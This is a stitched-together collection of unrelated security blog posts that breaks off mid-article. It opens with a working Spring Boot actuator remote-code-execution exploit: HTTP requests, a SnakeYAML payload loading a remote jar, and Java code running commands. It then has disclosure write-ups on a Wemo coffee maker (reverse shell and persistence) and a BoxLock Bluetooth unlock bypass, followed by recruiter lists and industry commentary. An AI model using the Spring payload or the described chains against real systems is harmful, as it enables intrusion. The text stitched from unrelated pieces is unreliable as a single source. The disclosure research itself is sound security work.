There is a more reliable way to achieve RCE via a Spring environmental properties modification:

POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
 
spring.cloud.bootstrap.location=http://artsploit.com/yaml-payload.yml

This request modifies the 'spring.cloud.bootstrap.location' property, which is used to load external config and parse it in YAML format. To make this happen, we also need to call the '/refresh' endpoint.

POST /refresh HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

When the YAML config is fetched from the remote server, it is parsed with the SnakeYAML library, which is also susceptible to deserialization attacks. The payload (yaml-payload.yml) may be generated by using the aforementioned Marshalsec research :

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://artsploit.com/yaml-payload.jar"]
  ]]
]

Deserialization of this file triggers execution of the ScriptEngineManager's constructor with the supplied URLClassLoader. In a nutshell, it leads to the 'java.util.ServiceLoader#load(java.lang.Class<S>, java.lang.ClassLoader)' method, which tries to find all implementations of the 'ScriptEngineFactory' interface within all libraries in the classpath. Since we can add a new library via URLClassLoader, we can serve a new 'ScriptEngineFactory' with the malicious bytecode inside. In order to do so, we need to create a jar archive with the following mandatory files: yaml-payload.jar:/artsploit/AwesomeScriptEngineFactory.class should contain the actual bytecode, with the malicious payload in the constructor.

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
 
    public AwesomeScriptEngineFactory() {
        try {
            Runtime.getRuntime().exec("dig scriptengine.x.artsploit.com");
            Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

yaml-payload.jar:/META-INF/services/javax.script.ScriptEngineFactory should be just a text file containing a full reference to 'artsploit.AwesomeScriptEngineFactory', so that the ServiceLoader will know where to find the class: artsploit.AwesomeScriptEngineFactory Again, this exploitation technique requires spring cloud to be in the classpath, but in comparison to Eureka's XStream payload, it works even in the latest version. You can find the complete payload in my github project: yaml-payload.

Your Smart Coffee Maker is Brewing Up Trouble

IOT devices are notoriously insecure and this claim can be backed up with a laundry list of examples. With more devices “needing” to connect to the internet, the possibility of your WiFi enabled toaster getting hacked and tweeting out your credit card number is, amazingly, no longer a joke.

With that in mind, I began to investigate the Mr. Coffee Coffee Maker with Wemo (WeMo_WW_2.00.11058.PVT-OWRT-Smart) since we had previously bought one for our research lab (and we don’t have many coffee drinkers, so I didn’t feel bad about demolishing it!). My hope was to build on previous work done by my colleague Douglas McKee (@fulmetalpackets) and his Wemo Insight smart plug exploit. Finding a similar attack vector absent in this product, I explored a unique avenue and was able to find another vulnerability.  In this post I will explore my methodology and processes in detail.

All Wemo devices have two ways of communicating with the Wemo App, remotely via the internet or locally directly to the Wemo App. Remote connectivity is only present when the remote access setting is enabled, which it is by default. To allow the Wemo device to be controlled remotely, the Wemo checks Belkin’s servers periodically for updates. This way the Wemo doesn’t need to open any ports on your network. However, if you are trying to control your Wemo devices locally, or the remote access setting is disabled, the Wemo app connects directly to the Wemo. All my research is based on local device communication with the remote access setting turned off.

To gain insight on how the coffee maker communicates with its mobile application, I first set up a local network capture on my cellphone using an application called “SSL Capture.” SSL Capture allows the user to capture traffic from mobile applications. In this case, I selected the Wemo application. With the capture running, I went through the Wemo app and initiated several standard commands to generate network traffic. By doing this, I was able to view the communication between the coffee maker and the Wemo application. One of the unique characteristics about the app is that the user is able schedule the coffee maker to brew at a specified time. I made a few schedules and saved them.

I began analyzing the network traffic between the phone application and the Mr. Coffee machine. All transmissions between the two devices were issued in plaintext, meaning no encryption was used. I also noticed that the coffee maker and the mobile app were communicating over a protocol called UPNP (Universal Plug and Play), which has preset actions called “SOAP ACTIONS.” Digging deeper into the network capture from the device, I saw the SOAP action “SetRules.” This included XML content that pertained to the “brew schedule” I had set from the mobile application.

A Mr. Coffee “brew” being scheduled.

At this point I was able to see how the Wemo mobile application handled brewing schedules. Next, I wanted to see if the coffee maker performed any sort of validation of these schedules so I went back into the mobile application and disabled them all. I then copied the data and headers from the network capture and used the Linux Curl command to send the packet back to the coffee maker. I got the return header status of “200” which means “OK” in HTTP. This indicated there was no validation of the source of brewing schedules; I further verified with the mobile application and the newly scheduled brew appeared.

Curl command to send a “Brew” schedule to the Wemo Coffee maker.

Screenshot of the Curl command populating the Wemo app with a brew schedule

At this point I could change the coffee maker’s brew schedule without ever using the Wemo mobile application. To understand how the schedules were stored on the Wemo coffee maker, I decided to physically disassemble it and look at the electronics inside. Once disassembled, I saw there was a Wemo module connected to a larger PCB responsible for controlling the functions of the coffee maker. I then extracted the Wemo module from the coffee maker. This looked almost Identical to the Wemo module that was in the Wemo Insight device. I leveraged Doug’s blog on exploitation of the Wemo Insight to replicate the serial identification, firmware extraction, and root password change. After I obtained root access via the serial port on the Wemo device, I began to investigate the way in which the Wemo application is initiated from the underlying Linux Operating System. While looking through some of the most common Linux files and directories, I noticed something odd in the “crontab” file (used in Linux to execute and schedule commands).

It appeared the developers decided to take the easy route and used the Linux crontab file to schedule tasks instead of writing their own brew scheduling function. The crontab entry was the same as the scheduled brew I sent via the Wemo application (coffee-3) and executed as root. This was especially interesting; if I could add some sort of command to execute from the replayed UPNP packet, I could potentially execute my command as root over the network.

With the firmware dumped, I decided to look at the “rtng_run_rule” executable that was called in the crontab. The rtng_run_rule is a Lua script. As Lua is a scripting language, it was written in plaintext and not compiled like all the other Wemo executables. I followed the flow of execution until I noticed the rule passing parameters to a template for execution. At this point, I knew it would be useless trying to inject commands directly into the rule and instead looked at modifying the template performing the execution.

I went back to the Wemo mobile application network captures and started to dig around again. I found the application also sends the templates to the Wemo coffee maker. If I could figure out how to modify the template and still have the Wemo think it is valid, I could get arbitrary code execution.

Template with the correct syntax to pass Wemo’s verification

There were 3 templates sent over, “do,” “do_if,” and “do_unless.” Each of the templates were Lua scripts and encoded with base64. Based on this, I knew it would be trivial to insert my own code; the only remaining challenge would be the MD5 hash included at the top of the template. As it turned out, that was hardly an obstacle.

I created an MD5 hash of the base-64 decoded Lua script and the base64 encoded script separately, simply to see if one or the other matched the hash that was being sent; however, neither matched the MD5 being sent in the template. I began to think the developers used some sort of HMAC or clever way to hash the template, which would have made it much harder to upload a malicious template. Instead, I was astounded to find out that it was simply the base64 code prepended by the string “begin-base64 644 <template name>” and appended with the string “====.”

At last I had the ability to upload any template of my choice and have it pass all the Wemo’s verification steps necessary to be used by a scheduled rule.

I appended a new template called “hack” and added a block of code within the template to download and execute a shell script.

Within that shell command, I instructed the Mr. Coffee Coffee Maker with Wemo to download a cross-complied version of Netcat so I can get a reverse shell, and also added an entry to “rc.local.” This was done so that if the coffee maker was power cycled, I would have persistent access to the device after reboot, via the Netcat reverse shell.

The final aspect of this exploit was to use what I learned earlier to schedule a brew with my new “hack” template executing my shell script. I took the schedule I was able to replay earlier and modified it to have the “hack” template execute 5 minutes from the time of sending. I did have to convert the time value required into the epoch time format.

Converting time to Epoch time.

Now, I sat back and waited as the coffee maker (at my specified time delay) connected to my computer, downloaded my shell script, and ran it. I verified that I had a reverse shell and that it ran as intended, perfectly.

This vulnerability does require network access to the same network the coffee maker is on. Depending on the complexity of the user’s password, WiFi cracking can be a relatively simple task to accomplish with today’s computing power. For example, we demonstrate a quick and easy brute force dictionary attack to crack a semi-complex WPA2 password (10 characters alpha-numeric) in the demo for the Wemo Insight smart plug.  However, even a slightly more complex password, employing special characters, would exponentially increase the difficulty of a brute force attack. We contacted Belkin (who owns Wemo) on November 16th, 2018 and disclosed this issue to them. While the vendor did not respond to this report, we were pleasantly surprised to see that the latest firmware update has patched the issue. Despite a general lack of communication, we’re delighted to see the results of our research further securing home automation devices.

This vulnerability shows that not all exploits are overly complicated or require an exceptional amount of effort to pull off, if you know what to look for. This vulnerability exists solely because a few poor coding decisions were made in conjunction with a lack of input sanitation and validation. Even though this target does not contain sensitive data and is limited to your local network, it doesn’t mean malicious hackers are not targeting IOT devices like this. These devices may serve as a sought-after target as they are often overlooked from a security standpoint and can provide a simple and unmonitored foothold into your home or business network. It is very important for any consumer, when purchasing new IOT gadgets, to ask themself: “Does this really need to be connected to the internet?” In the case of a coffee maker, I’ll let you be the judge.

The post Your Smart Coffee Maker is Brewing Up Trouble appeared first on McAfee Blogs.

What’s in the Box?

2018 was another record-setting year in the continuing trend for consumer online shopping.  With an increase in technology and efficiency, and a decrease in cost and shipping time, consumers have clearly made a statement that shopping online is their preferred method.

Chart depicting growth of online, web-influenced and offline sales by year.1

In direct correlation to the growth of online shopping preferences is the increase in home delivery, and correspondingly, package theft. Though my initial instinct was to attempt to recreate YouTuber Mark Rober’s glitter bomb, I practiced restraint and instead settled on investigating an innovative product called the BoxLock (BoxLock Firmware: 94.50 or below). The BoxLock is a smart padlock that you can setup outside of your house to secure a package delivery container. It can be opened either via the mobile application (Android or iPhone) or by using the built-in barcode scanner to scan a package that is out for delivery. The intent is that delivery drivers will use the BoxLock to unlock a secure drop box and place your package safely out of reach of package thieves. The homeowner can then unlock the lock from their phone using the app to retrieve their valuable deliveries.

Since I am more of a hardware researcher, the first step I did when I got the BoxLock was to take it apart to view the internals.

With the device disassembled and the main PCB extracted, I began to look for interesting pins, mainly UART and JTAG connections. I found 5 pins below the WiFi module that I thought could be UART, but after running it through a logic analyzer I didn’t see anything that looked like communication.

The BoxLock uses a SOC (System-on-a-Chip) which contains the CPU, RAM, ROM, and flash memory all in one. However, there was still an additional flash chip which I thought was odd. I used my Exodus Intelligence hardware interface board to connect to the SPI flash chip and dump the contents.

Exodus Intelligence XI Hardware Interface Board

The flash chip was completely empty. My working theory is that this flash chip is used to store the barcodes of packages out for delivery. There could also have been in issue with my version of Flashrom, which is the software I used to dump flash. The only reason I question my version of Flashrom is because I had to compile it myself with support for the exact flash chip (FT25H04S), since it is not supported by default.

The Main SOC (ATSAMD21J18)

Even though I couldn’t get anything from that flash chip, my main target here was the SOC. On the underside of the Process Control Board (PCB), I identified two tag-connect connection ports. I identified the SWD (Serial Wire Debug) pins located on the SOC (Pin 57 and 58 on the image above) and very slowly and carefully visually traced the paths to the smaller Tag-Connect connection.

 

Adafruit Feather M0 Development board

Since I have not done much JTAG analysis before, I grabbed an Adafruit Feather M0 that we had in our lab for testing, since the Feather uses the exact same SOC and WiFi chip as the BoxLock. The Adafruit Feather has excellent documentation on how to connect to the SOC via SWD pins I traced. I used Atmel Studio to read the info off the ATSAMD21 SOC; this showed me how to read the fuses as well as dump the entire flash off the Adafruit Feather.

SWD information of the Adafruit Feather M0

Atmel Studio also will let you know if the device has the “Security Bit” enabled. When set, the security bit is used to disable all external programming and debugging interfaces, making memory extraction and analysis extremely difficult. Once the security bit is set, the only way to bypass or clear the bit is to completely erase the chip.

Showing how to set the security bit on the Adafruit Feather M0

After I felt comfortable with the Adafruit feather I connected the BoxLock to a Segger JLink and loaded up Atmel Studio. The Segger JLink is a debugging device that can be used for JTAG and SWD. I was surprised that the developers set the security bit; this is a feature often overlooked in IOT devices. However, with the goal of finding vulnerabilities, this was a roadblock. I started to look elsewhere.

Segger JLink used for SWD communication

After spending some time under the microscope, I was able to trace back the larger Tag-Connect port to the BLE (Bluetooth Low Energy) module. The BLE module also has a full SOC which could be interesting to look at, but before I began investigating the BLE chip I still had two vectors to look at first: BLE and WiFi network traffic.

BLE is different to Bluetooth. The communication between BLE devices is secured by the use of encryption, whose robustness depends on the pairing mode used and BLE allows a few different pairing modes; the least secure “Just Works ” pairing mode is what the BoxLock is using. This mode allows any device to connect to it without the pin pairing that normal Bluetooth connections are known for. This means BLE devices can be passively intercepted and are susceptible to MITM (Man in The Middle) attacks.

BLE roles are defined at the connection layer. GAP (Generic Access Profile) describes how devices identify and connect to each other. The two most important roles are the Central and Peripheral roles. Low power devices like the BoxLock follow the Peripheral role and will broadcast their presence (Advertisement). More powerful devices, such as your phone, will scan for advertising devices and connect to them (this is the Central role). The communication between the two roles is done via special commands usually targeted at a GATT (Generic Attributes) services. GATT services can be standard and generic, such as the command value 0x180F, which is the Battery Service. Standardized GATT services help devices communicate with one another without the need for custom protocols. The GATT services present on the BoxLock were all custom, which means they will be displayed as “Unknown Service” when enumerated in a Bluetooth/BLE app.  I chose Nordic’s NRF Connect, available in both the Apple and Android app stores or as a desktop application.

NRF Connect application connected to the BoxLock via BLE

Since the BoxLock was using custom GATT commands I decided to disassemble the Android APK to see if I could find any more information on the “Unknown” UUIDs. I used a tool called “dex2jar” to disassemble the Android APK and then ran the JavaScript code through JSBeautify to clean up the code.

Next, I began searching for UUIDs and the keyword “GATT”. I was able to find the entire list of GATT services and what they pertain to.

GATT services UUID descriptions

The one I was most interested in was labeled as “Command Service”, where the unlock GATT command is sent to. To try it out, I used the NRF Connect application to send a GATT “sendOpenSignal” command with an attribute value of “2”.

How the Android application sends the unlock command

It was just that simple; lo and behold, the BoxLock unlocked!

I was amazed; the phone that I used to send the GATT command over had never connected to the BoxLock before and did not have the BoxLock application installed, yet it was able to unlock the BoxLock. (The vulnerable application version is v1.25 and below).

Continuing to explore the other GATT UUIDs, I was able to read the WiFi SSID, access token, user’s email, and client ID directly off the device. I was also able to write any of these same values arbitrarily.

Information that you can see about the BoxLock via the NRF Connect application

The mandatory identifiers required for the BoxLock to unlock are the access token, user email, and client ID. If those values are not present the device will not authenticate via the cloud API and will not unlock.

The most glaring issue with having all these fields readable and writeable is that I was able to successfully replay them on the device, ultimately bypassing any authentication which led to the BoxLock unlocking.

From my testing, these values never expired and the only way I found that the device cleared the credentials necessary to authenticate was when I removed the battery from the BoxLock. The BoxLock battery is “technically” never supposed to be removed, but since I physically disassembled the lock, (which took a decent amount of effort), I was able to test this.

Even though I was able to unlock the BoxLock, I still wanted to explore one other common attack vector.  I analyzed the network traffic between the device and the internet. I quickly noticed that, apart from firmware updates, device-to-cloud traffic was properly secured with HTTPS and I could not easily get useful information from this vector.

I do not currently have an estimate of the extent of this product’s deployment, so I cannot comment on how wide the potential impact could have been if this issue had been found by a malicious party. One constraint to the attack vector is that it requires BLE, which communicates from a distance of approximately 30 or 40 feet. However, for someone looking to steal packages this would not be a challenge difficult to overcome, as the unlocking attack could be completed very quickly and easily, making the bar for exploitation simply a smart phone with Bluetooth capability. The ease and speed of the exploit could have made for an enticing target for criminals.

I want to take a moment to give some very positive feedback on this vendor. Vulnerability disclosure can be a challenging issue for any company to deal with, but BoxLock was incredibly responsive, easy to work with and immediately recognized the value that McAfee ATR had provided. Our goal is to eliminate vulnerabilities before malicious actors find them, as well as illuminate security issues to the industry so we can raise the overall standard for security. BoxLock was an excellent example of this process at work; the day after disclosing the vulnerability, they set up a meeting with us to discuss our findings, where we proposed a mitigation plan. The BoxLock team set a plan in place to patch not only the BoxLock firmware but the mobile applications as well. Within a week, the vendor created a patch for the vulnerability and updated the mobile apps to force mandatory update to the patched firmware version. We tested the firmware and app update and verified that the application properly clears credentials after use on the vulnerable firmware. We also tested the new firmware which clears the credentials even without the mobile app’s interaction.

IoT security has increasingly become a deciding factor for consumers. The process of vulnerability disclosure is an effective method to increase collaboration between vendors, manufacturers, the security community and the consumer. It is our hope that vendors move towards prioritizing security early in the product development lifecycle. We’d like to thank BoxLock for an effective end-to-end communication process, and we’re pleased to report that this significant flaw has been quickly eradicated. We welcome any questions or comments on this blog!

The post What’s in the Box? appeared first on McAfee Blogs.

Best Cybersecurity Search Firms & Recruiters 2019

As cybersecurity is becoming more and more popular each day it’s also important to mention that there is a shortage of skilled people within the industry. Many recruiters create specific cybersecurity departments so they can stay competitive and fill the gap. According to the Forbes, it is expected that cybersecurity market will hit $170 billion by 2020 and cybersecurity jobs are expected to reach 6 million by the end of 2019. It’s not a secret that the rapid growth rate of the industry requires a professional approach from some of the best infosec recruiters.

In a recent interview, Karla Jobling from BeecherMadden (a top UK cybersecurity recruiter) reveals that at first cybersecurity companies wanted to hire as many people as possible. However, now they are more concentrated on how to find not many, but just the right people for the right position. It is extremely important for a recruiter to match the candidate’s expectations with the requirement and the corporate culture of the client company.

List of best cybersecurity search firms for 2019

Shield Security Recruiters

Shield Security Recruiters
A leading global recruiting firm focuses in the Cyber Security industry in USA, Europe, APAC and LATAM.
Sheild Security Recruiters have the global expertise and knowledge to bring you the quality Cyber Security candidates you deserve, expect and need.

3P&T Security Recruiting3P&T Security Recruiting

3P&T has been sucessfull in recruiting people in various areas of cybersecurity. They are one of the best cybersecurity recruiters in the area of Seattle, USA. A great UK-based company which is extremly trusted among the infosec professionals in Europe They are always ready to provide expert advices to their clients.

Alta Associates

Adeptis Group

Alta Associates is based in New Jersey, USA and performs custom searches for the most senior level executive roles in the cyber industry. They also deal with risk management, privacy, compliance and governance.

AcuminAcumin Consulting

The company is based in London, but they operate internationally with a special focus on cybersecurity and risk management recruitment.They specialize in providing key infosec and law enforcement skills across all sectors.

Blackmere ConsultingBlackmere Consulting

This company is focusing on quality, speed and cost effectiveness to provide a more specialized approach to source the best talents in cybersecurity. Their services include direct hire, consulting or hiring on a contract for a specific project.

Caliber Security PartnersCaliber Security Partners

They specialty is recruiting and staff augmentation in the short or the long term. They establish trusting relationships with their clients to identify their true neeeds of talent. Another good addition to our cybersecurity search firms list.

Computer FuturesComputer Futures

The company provides a platform both for companies to look for potential talents and for people who are looking for a career in the cybersecurity industry as well. They have a dedicated team of cyber security and business risk that provides individiual solutions.

Cyber ExecCyber Exec

Cyber Exec is headquartered in the Houston, Texas, but operates internationally also in cities like Tokyo or London for example. They definitely know how to find the best C-level employeees.

CISORecruiterCISORecruiter

As the name suggests this company are a team of professionals that will take care of your needs and provide you with the right people for your cybersec company.

Cyber Security Recruiters

This company is among the best cybersecurity search firms in the state of Minnesota, USA and is in bussiness since 2009.

Cyber 360 Inc.

Another top cybersecurity recruiters that work together with some of the biggest cybersecurity leaders and their teams to hire skilled information security professionals.

InfoSec PeopleInfosec People

The company was launched in 2008 and is currently one of the leaders on the cybersecurity recruitment companies in the UK. You can easily find a role, find people or find an advice on their website.

KnownFourKnownFour

Another UK company with owners that has been into international recruiting services for more than 20 years. Their information security department works closely with the experts to provide the perfect solution to their clients.

Redbud Cyber Security

Redbud has a national reach in the USA and is looking to source all kind of positions from Analysts or Engineers to CISOs. They are well known within the industry and can provide some of the best cyber talents.

Security Recruiter

The firm serves clients globally in the fields of information security, corporate security, risk management, governance, compliance and business intelligence.

This was our latest list of cybersecurity search firms. We hope that you will find what you need. Feel free to contact us if you want to add a company to our list.

The post Best Cybersecurity Search Firms & Recruiters 2019 appeared first on CyberDB.

Why You Should Reconsider Prioritizing High Severity Vulnerabilities in Your Fix Schedule

Veracode Not all Vulnerablities are Created Equal SCA Open Source

When it comes to vulnerabilities, there is a range of severity and exploitability, which often dictates how quickly a flaw is fixed upon discovery. Most companies prioritize high severity and critical vulnerabilities, but ignore lower severity vulnerabilities. The highest severity flaws are less complicated to attack, offer more opportunity for full application compromise, and are more likely to be remotely exploitable — overall they tend to open up a wider attack blast radius.

In the State of Software Security Volume 9, we analyzed flaw persistence based on where vulnerabilities fall on our five-point severity scale, and we found that organizations hit the three quarters-closed mark about 57% sooner for high and very high severity vulnerabilities than for their less severe counterparts. In fact, our scan data indicates that low severity flaws were attended to at a significantly slower rate than the average speed of closure. It took organizations an average of 604 days to close three quarters of these weaknesses.

Here’s the catch: there could be a low severity vulnerability that is affecting your code and it could be used to exploit your application.

Is the Vulnerability in the Execution Path?

There’s another dimension that often isn’t taken into account when prioritizing fixes, and that’s whether the vulnerability is actually impacting the code. When it comes to open source risk, for example, we know that it is multi-faceted and complex. Simply having a library with vulnerabilities in it does not mean that your app is at risk – you have to first understand if a vulnerable method is being called. When leveraging an open source library, it’s very common for a developer to only use a small subset of that library for a very particular function or capability. This means that it’s highly likely your application never calls on a vulnerability in the library and, in essence, is not exploitable.

Rather than prioritizing fixing a high-severity vulnerability in a function that is not called by your application, it would be more advantageous to prioritize a medium-severity vulnerability that lies in the execution path and puts your customers at risk. When developers have this information, they are empowered to prioritize and immediately fix vulnerabilities that pose the highest likelihood of exploitation. Additionally, their remediation time is reduced by up to 90 percent. The time saved for your developers, and the decreased time the attack window is open, is crucial to protecting your data.

That being said, just because a vulnerability isn’t in the execution path doesn’t necessarily mean your application isn’t exploitable – it may simply mean we were unable to identify an execution path for the vulnerability. It’s still important to fix all of the vulnerabilities in your application, especially the high and very high ones. Vulnerable method information allows your team to know, out of all of the vulnerabilities detected, which ones have the highest likelihood of exploit.

How Veracode’s Software Composition Analysis Can Help

With many tools out there, developers will receive an extremely large list of vulnerabilities for all open source libraries packaged in your application, and they will have to make a judgment call on what to fix first – and how much is worth fixing before pushing to production. Download the Addressing Your Open Source Risk eBook to learn more about how Veracode’s combination of machine learning and natural language can help you efficiently and effectively manage open source risk.

What’s the greater risk to UK 5G, Huawei backdoors or DDoS?

Have we been focusing too much on the Huawei backdoor threat instead of the DDoS threat facing the incoming 5G network infrastructure? Lee Chen, CEO at A10 networks thinks so.

The size and sophistication of distributed denial-of-service (DDoS) attacks have risen at an ever-accelerating pace. As new 5G networks become operational, we expect the size of attacks will dwarf these records. This is primarily due to the increase in IoT devices that 5G will introduce, with the number set to reach 4.1 billion globally by 2024. Each device is a perfect nest for botnets carrying malware, offering a new DDoS weapon for hackers to take advantage of.

Service providers will need to evolve rapidly with these growing threats and adopt intelligent automation to detect and mitigate security anomalies in a matter of seconds. Sophisticated DDoS threat intelligence, combined with real-time threat detection and automated signature extraction, will allow the marketplace to defend against even the most massive multi-vector DDoS attacks, no matter where they originate.


The Huawei threat remains a political football, there is still uncertainty on whether the Chinese telecoms giant's network devices will be banned in the UK or not. I have updated my post - Is Huawei a Threat to UK National Security? with the latest developments.

The 11 biggest issues IT faces today

Each year we talk with tech leaders about the biggest problems they’ll face in the near future, and we’re starting to see some subtle and not-so-subtle shifts from the worries of 2018.

Data overload, a major concern 12 months ago, has evolved as new data-hungry tools and AI help make sense of data and drive business decisions. This year CIOs say they’re more concerned with how to protect that data, as organizations grapple with new privacy regulations.

As the economy continues to improve, CIOs are less hampered in 2019 by tightening budgets. And worries about moving to the cloud are less of an issue, since many companies have already made the jump. Executives put more emphasis now on securing their cloud-based assets across multiple cloud environments.  

To read this article in full, please click here

How we fought bad apps and malicious developers in 2018


Posted by Andrew Ahn, Product Manager, Google Play
[Cross-posted from the Android Developers Blog]

Google Play is committed to providing a secure and safe platform for billions of Android users on their journey discovering and experiencing the apps they love and enjoy. To deliver against this commitment, we worked last year to improve our abuse detection technologies and systems, and significantly increased our team of product managers, engineers, policy experts, and operations leaders to fight against bad actors.
In 2018, we introduced a series of new policies to protect users from new abuse trends, detected and removed malicious developers faster, and stopped more malicious apps from entering the Google Play Store than ever before. The number of rejected app submissions increased by more than 55 percent, and we increased app suspensions by more than 66 percent. These increases can be attributed to our continued efforts to tighten policies to reduce the number of harmful apps on the Play Store, as well as our investments in automated protections and human review processes that play critical roles in identifying and enforcing on bad apps.
In addition to identifying and stopping bad apps from entering the Play Store, our Google Play Protect system now scans over 50 billion apps on users' devices each day to make sure apps installed on the device aren't behaving in harmful ways. With such protection, apps from Google Play are eight times less likely to harm a user's device than Android apps from other sources.
Here are some areas we've been focusing on in the last year and that will continue to be a priority for us in 2019:

Protecting User Privacy

Protecting users' data and privacy is a critical factor in building user trust. We've long required developers to limit their device permission requests to what's necessary to provide the features of an app. Also, to help users understand how their data is being used, we've required developers to provide prominent disclosures about the collection and use of sensitive user data. Last year, we rejected or removed tens of thousands of apps that weren't in compliance with Play's policies related to user data and privacy.
In October 2018, we announced a new policy restricting the use of the SMS and Call Log permissions to a limited number of cases, such as where an app has been selected as the user's default app for making calls or sending text messages. We've recently started to remove apps from Google Play that violate this policy. We plan to introduce additional policies for device permissions and user data throughout 2019.

Developer integrity

We find that over 80% of severe policy violations are conducted by repeat offenders and abusive developer networks. When malicious developers are banned, they often create new accounts or buy developer accounts on the black market in order to come back to Google Play. We've further enhanced our clustering and account matching technologies, and by combining these technologies with the expertise of our human reviewers, we've made it more difficult for spammy developer networks to gain installs by blocking their apps from being published in the first place.

Harmful app contents and behaviors

As mentioned in last year's blog post, we fought against hundreds of thousands of impersonators, apps with inappropriate content, and Potentially Harmful Applications (PHAs). In a continued fight against these types of apps, not only do we apply advanced machine learning models to spot suspicious apps, we also conduct static and dynamic analyses, intelligently use user engagement and feedback data, and leverage skilled human reviews, which have helped in finding more bad apps with higher accuracy and efficiency.
Despite our enhanced and added layers of defense against bad apps, we know bad actors will continue to try to evade our systems by changing their tactics and cloaking bad behaviors. We will continue to enhance our capabilities to counter such adversarial behavior, and work relentlessly to provide our users with a secure and safe app store.
How useful did you find this blog post?


After 8 Years Moving Back To Windows PC from iMac

Recently my Mid-2011 21″ iMac showed its age. No longer able to get Apple OS updates it was time to retire the faithful machine. I beleive this is the longest I have ever had a primary computer still working at my level of expectations. However, as I started looking at a replacement/upgrade I grew sour […]

The post After 8 Years Moving Back To Windows PC from iMac appeared first on Security In Five.

The Business of Organised Cybercrime

Guest article by David Warburton, Senior Threat Research Evangelist, F5 Networks

Team leader, network administrator, data miner, money specialist. These are just some of the roles making a difference in today’s enterprises. The same is also true for sophisticated cybergangs.

Many still wrongly believe that the dark web is exclusively inhabited by hoodie-clad teenagers and legions of disaffected disruptors. The truth is, the average hacker is just a cog in a complex ecosystem more akin to that of a corporate enterprise than you think. The only difference is the endgame, which is usually to cause reputational or financial damage to governments, businesses and consumers.

There is no way around it; cybercrime is now run like an industry with multiple levels of deceit shielding those at the very top from capture. Therefore, it’s more important than ever for businesses to re-evaluate cybercriminal perceptions and ensure effective protective measures are in place.

Current perceptions surrounding Cybergangs

Cybergangs as a collective are often structured like legitimate businesses, including partner networks, resellers and vendors. Some have even set up call centres to field interactions with ransomware victims. Meanwhile, entry-level hackers across the world are embarking on career development journeys of sorts, enjoying opportunities to learn and develop skills. 

This includes the ability to write their own tools or enhance the capabilities of others. In many ways, it is a similar path to that of an intern. They often become part of sophisticated groups or operations once their abilities reach a certain level. Indeed, a large proportion of hackers are relatively new entrants to the cybercrime game and still use low-level tools to wreak havoc. This breed of cybercriminal isn’t always widely feared by big corporations. They should be.

How Cybergangs are using Technology to Work Smarter and Cheaper

Cybergangs often work remotely across widely dispersed geographies, which makes them tricky to detect and deal with. The nature of these structures also means that cyber attacks are becoming more automated, rapid and cost-effective. The costs and risks are further reduced when factoring in the fluidity and inherent anonymity of cryptocurrencies and the dark web.

The industry has become so robust that hackers can even source work on each link in an attack chain at an affordable rate. Each link is anonymous to other threat actors in the chain to vastly reduce the risk of detection.

IoT Vulnerabilities on the Rise
According to IHS Markit, there will be 125 billion IoT devices on the planet by 2030.  With so much hype surrounding the idea of constant and pervasive connectivity, individuals and businesses are often complacent when it comes to ensuring all devices are secure. 

Significantly, it is easier to compromise an IoT device that is exposed to the public Internet and protected with known vendor default credentials than it is to trick an individual into clicking on a link in a phishing email.

Consequently, it is crucial for organisations to have an IoT strategy in place that encompasses the monitoring and identification of traffic patterns for all connected devices. Visibility is essential to understand network behaviour and any potential suspicious activities that may occur on it.

Why Cybersecurity Mindsets must Change

IT teams globally have been lecturing staff for years on the importance of creating different passwords. Overall, the message is not resonating enough.

To combat the issue, businesses need to consider alternative tactics such as password manager applications, as well as ensuring continuous security training is available and compulsory for all staff.

It is worth noting that the most commonly attacked credentials are the vendor defaults for some of the most commonly used applications in enterprise environments. Simply having a basic system hardening policy that ensures vendor default credentials are disabled or changed before the system goes live will prevent this common issue from becoming a painful breach. System hardening is a requirement in every best practice security framework or compliance requirement.

Ultimately, someone with responsibility for compliance, audit, or security should be continually reviewing access to all systems. Commonly, security teams will only focus on systems within the scope of some compliance or regulatory obligation. This can lead to failure to review seemingly innocuous systems that can occasionally result in major breaches.

In addition to continual access reviews, monitoring should be in place to detect access attacks. Brute force attacks can not only lead to a breach, they can also result in performance impacts on the targeted system or lock customers out of their accounts. As a result, there are significant financial incentives for organisations to equip themselves with appropriate monitoring procedures.

Cybergangs use many different methods to wreak havoc, making it increasingly difficult to identify attacks in a timely manner. Businesses are often ignorant about the size of attacks, the scope of what has been affected, and the scale of the operation behind them. You are operating in the dark without doing the utmost to know your enemy. Failing to do so will continue to put information, staff and customers at risk by allowing cybergangs to operate in the shadows.
David Warburton, Senior Threat Research Evangelist with F5 Labs with over 20 years’ experience in IT and security.

Forcing the Adversary to Pursue Insider Theft

Jack Crook pointed me toward a story by Christopher Burgess about intellectual property theft by "Hongjin Tan, a 35 year old Chinese national and U.S. legal permanent resident... [who] was arrested on December 20 and charged with theft of trade secrets. Tan is alleged to have stolen the trade secrets from his employer, a U.S. petroleum company," according to the criminal complaint filed by the US DoJ.

Tan's former employer and the FBI allege that Tan "downloaded restricted files to a personal thumb drive." I could not tell from the complaint if Tan downloaded the files at work or at home, but the thumb drive ended up at Tan's home. His employer asked Tan to bring it to their office, which Tan did. However, he had deleted all the files from the drive. Tan's employer recovered the files using commercially available forensic software.

This incident, by definition, involves an "insider threat." Tan was an employee who appears to have copied information that was outside the scope of his work responsibilities, resigned from his employer, and was planning to return to China to work for a competitor, having delivered his former employer's intellectual property.

When I started GE-CIRT in 2008 (officially "initial operating capability" on 1 January 2009), one of the strategies we pursued involved insider threats. I've written about insiders on this blog before but I couldn't find a description of the strategy we implemented via GE-CIRT.

We sought to make digital intrusions more expensive than physical intrusions.

In other words, we wanted to make it easier for the adversary to accomplish his mission using insiders. We wanted to make it more difficult for the adversary to accomplish his mission using our network.

In a cynical sense, this makes security someone else's problem. Suddenly the physical security team is dealing with the worst of the worst!

This is a win for everyone, however. Consider the many advantages the physical security team has over the digital security team.

The physical security team can work with human resources during the hiring process. HR can run background checks and identify suspicious job applicants prior to granting employment and access.

Employees are far more exposed than remote intruders. Employees, even under cover, expose their appearance, likely residence, and personalities to the company and its workers.

